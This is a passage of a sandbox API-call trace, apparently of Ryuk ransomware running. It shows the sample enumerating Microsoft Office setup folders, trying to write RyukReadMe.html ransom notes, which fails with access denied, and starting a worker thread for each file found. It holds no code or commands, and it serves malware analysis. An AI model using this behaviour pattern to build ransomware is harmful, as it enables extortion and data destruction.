	[0165.454] GetLastError () returned 0x5
	[0165.454] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0) returned 0
	[0165.454] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0165.455] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x302b0500, ftCreationTime.dwHighDateTime=0x1cba073, ftLastAccessTime.dwLowDateTime=0xcf459e40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x302b0500, ftLastWriteTime.dwHighDateTime=0x1cba073, nFileSizeHigh=0x0, nFileSizeLow=0x709b68, dwReserved0=0x8e, dwReserved1=0x0, cFileName="OSETUP.DLL", cAlternateFileName="")) returned 1
	[0165.455] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x598fccf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0xb9a0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="OSetupPS.dll", cAlternateFileName="")) returned 1
	[0165.455] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="Outlook.en-us", cAlternateFileName="OUTLOO~1.EN-")) returned 1
	[0165.455] SetLastError (dwErrCode=0x0) 
	[0165.455] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0165.455] GetLastError () returned 0x5
	[0165.455] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0) returned 0
	[0165.455] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0165.456] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\*.*", lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c6f0
	[0165.630] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0165.630] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee827f20, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72, dwReserved0=0xbe, dwReserved1=0x0, cFileName="OutlookMUI.XML", cAlternateFileName="OUTLOO~1.XML")) returned 1
	[0165.630] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0165.631] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e8
	[0165.633] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0165.633] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0xbe, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0165.633] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0165.634] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cc
	[0165.637] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0165.638] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0xbe, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0
	[0165.638] FindClose (in: hFindFile=0x7c6f0 | out: hFindFile=0x7c6f0) returned 1
	[0165.638] SetLastError (dwErrCode=0x0) 
	[0165.638] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0165.638] GetLastError () returned 0x5
	[0165.639] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0) returned 0
	[0165.639] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0165.639] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6cee1d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x8e, dwReserved1=0x0, cFileName="pidgenx.dll", cAlternateFileName="")) returned 1
	[0165.639] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17eefe00, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0xbe99ad60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x17eefe00, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x8e, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1
	[0165.639] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0165.640] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x474
	[0165.642] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0165.643] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6904ef00, ftCreationTime.dwHighDateTime=0x1ca912c, ftLastAccessTime.dwLowDateTime=0x6cf07e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6904ef00, ftLastWriteTime.dwHighDateTime=0x1ca912c, nFileSizeHigh=0x0, nFileSizeLow=0x3d78, dwReserved0=0x8e, dwReserved1=0x0, cFileName="pkeyconfig.companion.dll", cAlternateFileName="PKEYCO~1.DLL")) returned 1
	[0165.643] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PowerPoint.en-us", cAlternateFileName="POWERP~1.EN-")) returned 1
	[0165.643] SetLastError (dwErrCode=0x0) 
	[0165.643] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0165.643] GetLastError () returned 0x5
	[0165.644] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0) returned 0
	[0165.644] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0165.644] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\*.*", lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c6f0
	[0165.646] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0165.646] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5db14d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0xbe, dwReserved1=0x0, cFileName="PowerPointMUI.XML", cAlternateFileName="POWERP~1.XML")) returned 1
	[0165.646] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0165.647] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x380
	[0165.648] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0165.649] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0xbe, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0165.649] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0165.650] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x37c
	[0165.652] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0165.652] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0xbe, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0
	[0165.652] FindClose (in: hFindFile=0x7c6f0 | out: hFindFile=0x7c6f0) returned 1
	[0165.653] SetLastError (dwErrCode=0x0) 
	[0165.653] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0165.653] GetLastError () returned 0x5
	[0165.653] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0) returned 0
	[0165.653] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0165.653] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PRJPROR", cAlternateFileName="")) returned 1
	[0165.653] SetLastError (dwErrCode=0x0) 
	[0165.653] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0165.654] GetLastError () returned 0x5
	[0165.654] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0) returned 0
	[0165.654] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0165.654] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\*.*", lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c6f0
	[0165.657] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0165.657] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa60fd8f0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbe2e8f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1915, dwReserved0=0xbe, dwReserved1=0x0, cFileName="PrjProrWW.XML", cAlternateFileName="PRJPRO~1.XML")) returned 1
	[0165.657] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0165.658] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x398
	[0165.733] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0165.734] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c227b0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0xbe, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0165.734] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0165.735] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x388
	[0165.736] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0165.737] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c227b0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0xbe, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0
	[0165.737] FindClose (in: hFindFile=0x7c6f0 | out: hFindFile=0x7c6f0) returned 1
	[0165.737] SetLastError (dwErrCode=0x0) 
	[0165.738] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0165.738] GetLastError () returned 0x5
	[0165.738] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0) returned 0
	[0165.738] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0165.738] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="Project.en-us", cAlternateFileName="PROJEC~1.EN-")) returned 1
	[0165.738] SetLastError (dwErrCode=0x0) 
	[0165.738] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0165.739] GetLastError () returned 0x5
	[0165.739] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0) returned 0
	[0165.739] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0165.739] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\*.*", lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c6f0
	[0165.741] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0165.741] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5b2ebe0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf551ba0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5b2ebe0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0xbe, dwReserved1=0x0, cFileName="ProjectMUI.XML", cAlternateFileName="PROJEC~1.XML")) returned 1
	[0165.741] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0165.742] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x384
	[0165.749] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0165.749] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5bc88d0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0xbe, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0165.749] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0165.750] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x38c
	[0165.751] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
